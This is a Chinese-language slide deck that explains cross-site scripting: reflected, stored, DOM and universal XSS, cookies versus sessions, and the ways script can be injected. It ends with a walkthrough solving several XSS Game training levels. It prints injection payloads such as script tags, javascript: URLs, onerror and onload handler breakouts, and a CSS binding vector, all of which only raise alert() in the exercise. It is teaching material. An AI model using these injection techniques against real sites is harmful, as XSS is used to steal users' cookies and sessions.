XSS原理與應用

OUTLINE

  • 何為XSS?
  • XSS技術
  • LAB

何為XSS?

引進JavaScript前 =>

  1. 網頁內容大多是HTML(靜態傳遞)
  2. 更換內容須點擊連結,啟動新的HTTP request / reply

引進JavaScript後 =>

    惡意HTML標籤 / 腳本無意侵入、Cookie中毒、披露敏感資訊...

  • Cross-site Scripting,跨站腳本攻擊

  • 使用各種手段將惡意程式碼注入目標網站

XSS種類

     廣義來說僅影響 Browser / Server 其中一邊

  • Server => 反射式XSS、持久性XSS
  • Client => DOM XSS、通用XSS

反射式XSS

  1. Reflected XSS
  2. 最常見的XSS
  3. 僅影響單一使用者
  4. 不該出現的程式碼,不存在目標伺服器中

持久性XSS

  1. Stored XSS
  2. 類似反射式XSS
  3. 保留在Web應用程式的後段資料庫、日誌檔

DOM XSS

  1. Document Object Model XSS
  2. 純粹客戶端,無關伺服器
  3. 透過分段符號(#),便可能加資料到URL
  4. 通常封裝於一短URL

通用XSS

       通常要跳往功能鏈上一級,濫用Browser本身、套件、插件內的本質

XSS技術

XSS主要目的主要盜取Cookie和Session

比較一般的資料放在Cookie、機密資料放在Session

甚麼是Cookie?

  • 儲存在Client端
  • Browser不會記得上一個時間發生的事,然Cookie會記住
  • 缺點:
    • 加重連線負擔
    • 以明碼傳遞
    • 上限4KB
    • 亦被竄改

甚麼是Session?

  • 儲存在Server端
  • 初入網站會給User一組ID,會根據ID給予相對應資料
  • 缺點:
    • 加重伺服器負擔
    • 擴充性問題 => 無法在多台伺服器間共用

執行JavaScript腳本的地方

‧script標籤

<script>alert("XSS");</script>

‧當作URL

<a href = 'javascript:alert("XSS")'/>

‧事件偵測

<a href='' onclick="prompt('link clicked')">test</a>
<img src='' onerror="alert(error message)">
<a href="javascript:alert("XSS")"></a>

‧放在CSS中

<!DOCTYPE html>
<html>
    <body>
        <style>
            BODY{
                -moz-binding: url("http://xss.rocks/xssmoz.xml#xss")
            }
        </style>
    </body>
</html>

LAB

XSS GAME

  • 目標是引起alert()
  • 該框的原碼可至Target code觀看

 Solve:

1. 在搜尋錯誤後,會送出訊息到下列程式碼

2. 只需簡單將JavaScript的警示框訊息輸入進搜尋欄即可

message = "Sorry, no results were found for <b>" + query + "</b>."
<script>alert();</script>

 Solve:

1. 能進行輸入行為的僅有該對話框,而在嘗試後發現其中也包含了HTML

<!DOCTYPE html>
<html>
    <body>
        <a href="javascript:alert()">test</a>
    </body>
</html>

2. 故將完整的HTML輸入後,給以一個連結即可破解

 Solve:

1. 在網址部分有給圖片連結的原理,而對應下列的程式碼

var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";

1. 在onerror觸發

在網址後方添加: ' onerror="alert()"
http://xss-game.appspot.com/level3/frame#' onerror="alert()"

因網址後方為num的值,添加後便成為
html += "<img src='/static/level3/cloud" + ' onerror="alert()" + ".jpg' />";

2. 直接更改程式碼

在網址後方添加: '/>;<script>alert()</script>  
http://xss-game.appspot.com/level3/frame#'/>;<script>alert()</script>

因網址後方為num的值,添加後便成為
html += "<img src='/static/level3/cloud" + '/>;<script>alert()</script> + ".jpg' />";

因為突破點在img標籤內,可有兩種解法:

 Solve:

1. 在timer的部分直接讀取到startTimer的地方

2. 故破解點在讓onload直接執行兩個function。

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
再輸入框中輸入;
'), alert()//

該行程式變成:
<img src="/static/loading.gif" onload="startTimer(''), alert()//;" />

XSS原理與應用

By Иo1lz

XSS原理與應用

  • 146